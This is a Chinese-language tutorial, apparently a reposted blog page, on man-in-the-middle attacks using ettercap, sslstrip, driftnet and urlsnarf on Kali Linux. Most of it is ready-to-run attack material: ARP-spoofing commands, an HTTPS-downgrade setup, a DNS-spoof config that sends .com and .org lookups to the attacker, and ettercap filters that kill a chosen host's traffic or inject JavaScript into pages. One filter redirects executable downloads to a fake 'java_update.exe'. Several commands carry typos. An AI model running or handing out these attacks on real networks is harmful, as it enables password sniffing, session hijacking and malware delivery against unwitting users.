1. 程式人生 > >ettercap 實施中間人攻擊

ettercap 實施中間人攻擊

oca strip 不能 lte ane 嗅探 顯示 nic 二進制

中間人攻擊(Man-in-the-MiddleAttack 簡稱"MITM攻擊")中間人攻擊很早就成為了黑客常用的一種古老的攻擊手段,並且一直到如今還具有極大的擴展空間,在網絡安全方面,MITM攻擊的使用是很廣泛的,曾經猖獗一時的SMB會話劫持、DNS欺騙等技術都是典型的MITM攻擊手段.在黑客技術越來越多的運用於以獲取經濟利益為目標的情況下時,MITM攻擊成為對網銀、網遊、網上交易等最有威脅並且最具破壞性的一種攻擊方式,

隨著計算機通信網技術的不斷發展,MITM攻擊也越來越多樣化.最初,攻擊者只要將網卡設為混雜模式,偽裝成代理服務器監聽特定的流量就可以實現攻擊,這是因為很多通信協議都是以明文來進行傳輸的,如HTTP、FTP、Telnet等.後來,隨著交換機代替集線器,簡單的嗅探攻擊已經不能成功,必須先進行ARP欺騙才行.如今,越來越多的服務商開始采用加密通信 SSL(Secure Sockets Layer 安全套接層)是一種廣泛使用的技術,HTTPS、FTPS等都是建立在其基礎上的.

今天要將的主要是基於Ettercap的中間人攻擊,一般常用的中間人攻擊無外乎四種:ARP緩存投毒,ICMP重定向,端口監聽,DHCP欺騙.在這裏要介紹一下ARP欺騙、DNS欺騙、會話劫持、密碼嗅探以及SSL加密的密碼嗅探.其實Ettercap的功能是很強大的,從它的插件就可以看到功能有,發現可疑ARP活動、ARP響應、DNS欺騙、Dos攻擊、發現連接(交換環境)、發現Ettercap活動、列出子網未使用的IP、隔離主機、MAC泛洪、ssltrip等.

Dsniff包中的工具基本上可以分為四類:

1.純粹被動地進行網絡活動監視的工具,包括:dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy、sshow

2.針對SSH和SSL的MITM"攻擊"工具,包括sshmitm和webmitm
3.發起主動欺騙的工具,包括:arpspoof、dnsspoof、macof
4.其它工具,包括tcpkill、tcpnice

HTTP模式嗅探

1.在Kali系統下運行下面的代碼片段,就可以實現http模式的嗅探了.

ettercap -i eth0 -T -M arp:remote /192.168.1.100// /192.168.1.1//

-T 文字模式顯示
-M 指定為雙向arp欺騙
/192.168.1.100// 為要攻擊的IP地址
/192.168.1.1// 本地的網關地址


driftnet -i eth0   截取圖片
urlsnarf -i eth0   截取URL

HTTPS降級嗅探

1.通過命令收集局域網的IP地址信息,和網關等.


ifcofing       命令查看當前網關
netdiscover    獲取到當前目標IP

2.啟動ARP欺騙功能,運行下面代碼

ettercap -i eth0 -T -M arp:remote /192.168.1.100// /192.168.1.1//

-i  指定網卡接口
-T  文本顯示模式
-M 指定為雙向arp欺騙
/192.168.1.100// 為要攻擊的IP地址
/192.168.1.1// 本地的網關地址

3.重新打開一個命令行窗口,分別執行下面三個命令行,過濾https協議將其轉化成http

echo 1 > /proc/sys/net/ipv4/ip_forward                                        開啟數據重定向
iptalbes -t nat -F                                                            暫時清空防火墻規則
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000  開啟80端口的數據轉發到10000端口  
sslstrip -l 10000                                                             執行sslstrip欺騙,把網頁中的https協議轉換為http協議
iptables -t nat -L                                                            查看iptables列表是否生效

此時當用戶瀏覽的網頁中包含https協議,會被轉化為http協議的請求.但是sslstrip也不是萬能的,假如網頁中沒有https,但是js代碼綁定了跳轉到https的協議請求的事件,那麽sslstrip就失效了.如果用戶打開網頁的時候請求就是https,會導致證書認證失敗,網頁一直打不開.

4.下面開啟欺騙工具,截獲目標主機的圖片流.

driftnet -i eth0


DNS域名劫持

1.安裝並啟動apache服務程序,後期我們要將頁面跳轉到kali的http服務上.

root@kali:~# echo "hello lyshark" > /var/www/html/index.html
root@kali:~# systemctl restart apache2
root@kali:~# systemctl status apache2

● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
   Active: active (running) since Thu 2018-12-20 21:48:42 CST; 4s ago
  Process: 2521 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2532 (apache2)

root@kali:~# curl 127.0.0.1
hello lyshark

2.通過使用netdiscover命令獲取到主機信息,這裏我們主要來確定一下192.168.1.1是網關192.168.1.100為被攻擊主機.

root@kali:~# netdiscover

Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts           
                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     11:72:se:c7:se:af      1      60  TP-LINK TECHNOLOGIES CO.,LTD
 192.168.1.3     ac:3s:ca:xf:g1:w8      1      60  GUANGDONG OPPO MOBILE TELECO
 192.168.1.100   f2:1e:28:4e:4c:s4      1      60  Dell Inc.

3.配置地址,此處寫入要跳轉的頁面地址.

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.8  netmask 255.255.255.0  broadcast 192.168.1.255    確認自身IP地址

root@kali:~# vim /etc/ettercap/etter.dns 

################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

*.com A 192.168.1.8     添加跳轉頁面,意思是只要是.com結尾的,跳轉到本機IP
*.org A 192.168.1.8

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed

4.開啟轉發,並啟動中間人攻擊.

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.100// /192.168.1.1//

root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp // //     #針對所有主機

此時被攻擊主機,無論訪問什麽網站,都會跳轉到本機的apache頁面上,並看到hello lyshark的提示信息.

Kill掉指定主機

1.編寫一個過濾腳本,下面的腳本名為etter.filter.kill,內容如下.

root@kali:~# vim etter.filter.kill

if (ip.src == '被攻擊主機IP') {
      # sent the RST to both source and dest
      kill();
      # don't even forward the packet
      drop();
      msg("HaHa  has killed...\n");
 }

2.編譯成ettercap可以識別的二進制的二進制文件.

ettercap ./etter.filter.kill -o ./etter_kill.ef

3.使用ettercap加載此腳本(-q 安靜模式,即不顯示數據包信息):

ettercap -i eth0 -T -F ./etter_kill.ef -M arp:remote /192.168.1.100// /92.168.1.1// -q

cd /usr/share/ettercap

1.使用的過濾腳本為etter.filter.kill,如下

vim ./etter.filter.kill

if (ip.src == '10.0.0.16') {
      # sent the RST to both source and dest
      kill();
      # don't even forward the packet
      drop();
      msg("HaHa! a 2b(ip:10.0.0.16) has killed...\n");
 }

2.編譯成ettercap可以識別的二進制的二進制文件

ettercap ./etter.filter.kill -o ./etter_kill.ef  #編譯生成配置文件

3.使用ettercap加載此腳本(-q 安靜模式,即不顯示數據包信息):

ettercap -i eth0 -T -F ./etter_kill.ef -M arp:remote /192.168.1.100// /92.168.1.1// -q

替換網頁的圖片

把瀏覽網頁時的圖片換掉試試,使用的腳本是etter.filter.images

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
   replace("IMG SRC=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
   msg("Filter Ran.\n");
}

JavaSproit註入

使用的腳本是etter.filter.alert,彈窗提示

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
           replace("Accept-Encoding", "Accept-Rubbish!");
           msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<body>")) {
        replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>");
        replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>");
        msg("Filter run!...Exploit code injected ok!\n");
    }
}

替換URL

# replace rmccurdy with your website
# replace the url with what ever exe you like

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
   replace("Keep-Alive", "close" ");
}

if (ip.proto == TCP && search(DATA.data, ": application") ){
   # enable for logging log(DECODED.data, "/tmp/log.log");
   msg("found EXEn");
   # "Win32" is the first part of the exe example:
   # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
   if (search(DATA.data, "Win32")) {
      msg("doing nothingn");
   } else {
      replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe ");
      msg("redirect successn");
   }
}

SSL密碼嗅探

對SSL流量的嗅探,可以使用sslstrip這個工具,它的原理就是把所有的https流量降級為http流量。

相當於一個中間人的角色,它與服務器建立正常的https,而與瀏覽器則使用http連接。使用時需要本機開啟流量轉發,將80端口的http流量同時轉發到10000端口上,在10000端口上使用sslstrip來監聽即可:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# sslstrip -l 10000

ettercap 實施中間人攻擊